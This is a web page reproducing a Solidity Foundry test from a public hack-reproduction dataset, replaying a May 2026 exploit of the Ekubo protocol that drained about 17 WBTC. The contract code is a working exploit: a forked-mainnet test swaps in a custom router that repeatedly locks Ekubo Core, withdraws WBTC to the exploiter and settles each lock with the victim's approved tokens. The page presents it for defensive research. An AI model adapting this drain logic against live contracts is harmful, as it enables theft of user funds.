Public reproduction file
src/test/2026-05/Ekubo_exp.sol
Public reproduction file for dataset entry Ekubo.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.13;4import {Test} from "forge-std/Test.sol";5import {console} from "forge-std/console.sol";6import {IERC20} from "forge-std/interfaces/IERC20.sol";8// @KeyInfo - Total Lost : ~$1.4M9// Attacker : https://etherscan.io/address/0xA911Ff351B143634Dbc5aF3E204EA074583A83e310// Attack Contract : https://etherscan.io/address/0x61b0dAD9628D3e644eB560a5c9B0F960430E3A7511// Vulnerable Contract : https://etherscan.io/address/0x8CCB1ffD5C2aa6Bd926473425Dea4c8c15DE60fd12// Attack Tx : https://etherscan.io/tx/0x770bc9a1f7c32cb63a5002b9ceb5c7994cd3af0fc6b2309cb32d3c46f629daa013//14// @Info15// Vulnerable Contract Code : https://etherscan.io/address/0x8CCB1ffD5C2aa6Bd926473425Dea4c8c15DE60fd#code16//17// @Analysis18// Post-mortem : https://x.com/EkuboProtocol/status/205175448146585603819// Twitter Guy : https://x.com/blockaid_/status/205175778771411812522contract EkuboTest is Test {23 bytes32 internal constant TX_HASH = 0x770bc9a1f7c32cb63a5002b9ceb5c7994cd3af0fc6b2309cb32d3c46f629daa0;24 address internal constant EXPLOITER = 0xA911Ff351B143634Dbc5aF3E204EA074583A83e3;25 address internal constant ORIGINAL_EXECUTOR = 0x61b0dAD9628D3e644eB560a5c9B0F960430E3A75;26 address internal constant EKUBO_ROUTER = 0x8CCB1ffD5C2aa6Bd926473425Dea4c8c15DE60fd;27 address internal constant EKUBO_CORE = 0xe0e0e08A6A4b9Dc7bD67BCB7aadE5cF48157d444;28 address internal constant VICTIM = 0x765DECF4Fa157756e850C1079F60801b9219Edd1;29 IERC20 internal constant WBTC = IERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599);31 function setUp() public {32 vm.createSelectFork("mainnet", TX_HASH);33 vm.label(EXPLOITER, "Exploiter");34 vm.label(ORIGINAL_EXECUTOR, "Original Ekubo Exploit Executor");35 vm.label(EKUBO_ROUTER, "Ekubo Router");36 vm.label(EKUBO_CORE, "Ekubo Core");37 vm.label(VICTIM, "Ekubo WBTC Victim");38 vm.label(address(WBTC), "WBTC");39 }41 function testExploit() public {42 uint256 beforeWbtc = WBTC.balanceOf(EXPLOITER);44 EkuboTraceExploitRouter readableRouter = new EkuboTraceExploitRouter(EXPLOITER);45 vm.etch(EKUBO_ROUTER, address(readableRouter).code);47 vm.prank(EXPLOITER, EXPLOITER);48 IEkuboExploitRouter(EKUBO_ROUTER).drain();50 uint256 stolenWbtc = WBTC.balanceOf(EXPLOITER) - beforeWbtc;51 assertEq(stolenWbtc, 1_700_000_000);53 console.log("Stolen WBTC", stolenWbtc);54 }55}58interface IEkuboCore {59 function lock() external;60 function forward(address to) external;61 function withdraw(address token, address recipient, uint128 amount) external;62 function pay(address token) external;63}65interface IEkuboExploitRouter {66 function drain() external;67}69contract EkuboTraceExploitRouter {70 uint256 internal constant REPEAT_COUNT = 85;71 uint128 internal constant WBTC_PER_LOCK = 20_000_000;73 IEkuboCore internal constant CORE = IEkuboCore(0xe0e0e08A6A4b9Dc7bD67BCB7aadE5cF48157d444);74 IERC20 internal constant WBTC = IERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599);75 address internal constant VICTIM = 0x765DECF4Fa157756e850C1079F60801b9219Edd1;77 address internal immutable PROFIT_RECEIVER;79 constructor(address profitReceiver) {80 PROFIT_RECEIVER = profitReceiver;81 }83 function drain() external {84 for (uint256 i; i < REPEAT_COUNT; ++i) {85 CORE.lock();86 }88 require(WBTC.balanceOf(PROFIT_RECEIVER) > 0, "no profit");89 }91 function locked(uint256) external returns (uint128 amount, uint128 end) {92 require(msg.sender == address(CORE), "not core");94 try CORE.forward(address(WBTC)) {} catch {}96 CORE.withdraw(address(WBTC), PROFIT_RECEIVER, WBTC_PER_LOCK);97 CORE.pay(address(WBTC));99 return (WBTC_PER_LOCK, 0);100 }102 function payCallback(uint256, address token) external {103 require(msg.sender == address(CORE), "not core");104 require(token == address(WBTC), "not WBTC");105 require(WBTC.transferFrom(VICTIM, address(CORE), WBTC_PER_LOCK), "pay failed");106 }107}Analysis
Dataset entry
Public Foundry test for “Ekubo” (2026-05-05). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
23 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2026-05/AdsharesBridge_exp.solSame month in the dataset · 67 lines
- src/test/2026-05/AROS_exp.solSame month in the dataset · 326 lines
- src/test/2026-05/DxSale_exp.solSame month in the dataset · 70 lines
- src/test/2026-05/ElevateFi_exp.solSame month in the dataset · 144 lines
- src/test/2026-05/FractalProtocol_exp.solSame month in the dataset · 243 lines
- src/test/2026-05/HumaCreditApprovalBypass_exp.solSame month in the dataset · 101 lines
- src/test/2026-05/INKFinance_exp.solSame month in the dataset · 118 lines
- src/test/2026-05/JoeAgent_exp.solSame month in the dataset · 184 lines
- src/test/2026-05/LegendaryMoneyMonNft_exp.solSame month in the dataset · 145 lines
- src/test/2026-05/MAPProtocol_exp.solSame month in the dataset · 82 lines
- src/test/2026-05/MureDistribution_exp.solSame month in the dataset · 172 lines
- src/test/2026-05/NewMarketTrading_exp.solSame month in the dataset · 212 lines
- src/test/2026-05/Renegade_exp.solSame month in the dataset · 224 lines
- src/test/2026-05/SEAToken_exp.solSame month in the dataset · 165 lines
- src/test/2026-05/SharwaMarginTrading_exp.solSame month in the dataset · 271 lines
- src/test/2026-05/SKP_exp.solSame month in the dataset · 118 lines
- src/test/2026-05/SQTokenStaking_exp.solSame month in the dataset · 136 lines
- src/test/2026-05/SquidRouterModule_exp.solSame month in the dataset · 213 lines
- src/test/2026-05/TesseraSwap_exp.solSame month in the dataset · 125 lines
- src/test/2026-05/TrustedVolumes_exp.solSame month in the dataset · 190 lines
- src/test/2026-05/VerusBridge_exp.solSame month in the dataset · 251 lines
- src/test/2026-05/WUSD_exp.solSame month in the dataset · 339 lines
- src/test/2026-05/YSDAO_exp.solSame month in the dataset · 131 lines
Also imports external libraries: forge-std/Test.sol, forge-std/console.sol, forge-std/interfaces/IERC20.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xa911ff351b143634dbc5af3e204ea074583a83e3
- Attack Contract
0x61b0dad9628d3e644eb560a5c9b0f960430e3a75
- Vulnerable Contract
0x8ccb1ffd5c2aa6bd926473425dea4c8c15de60fd
- Attack Tx
0x770bc9a1f7c32cb63a5002b9ceb5c7994cd3af0fc6b2309cb32d3c46f629daa0
- Post: https://x.com/EkuboProtocol/status/2051754481465856038
- Twitter: https://x.com/blockaid_/status/2051757787714118125
- Explorer: https://etherscan.io/address/0xA911Ff351B143634Dbc5aF3E204EA074583A83e3
- Explorer: https://etherscan.io/address/0x61b0dAD9628D3e644eB560a5c9B0F960430E3A75
- Explorer: https://etherscan.io/address/0x8CCB1ffD5C2aa6Bd926473425Dea4c8c15DE60fd
- Explorer: https://etherscan.io/address/0x8CCB1ffD5C2aa6Bd926473425Dea4c8c15DE60fd#code
File record
- Name
- Ekubo
- Path
- src/test/2026-05/Ekubo_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- e02df2616dfba9e55cda543a42df3471529efc61
- Language
- Solidity
- Size
- 107 lines
- Date
- 2026-05-05
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2026-05/Ekubo_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob e02df2616dfba9e55cda543a42df3471529efc61, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.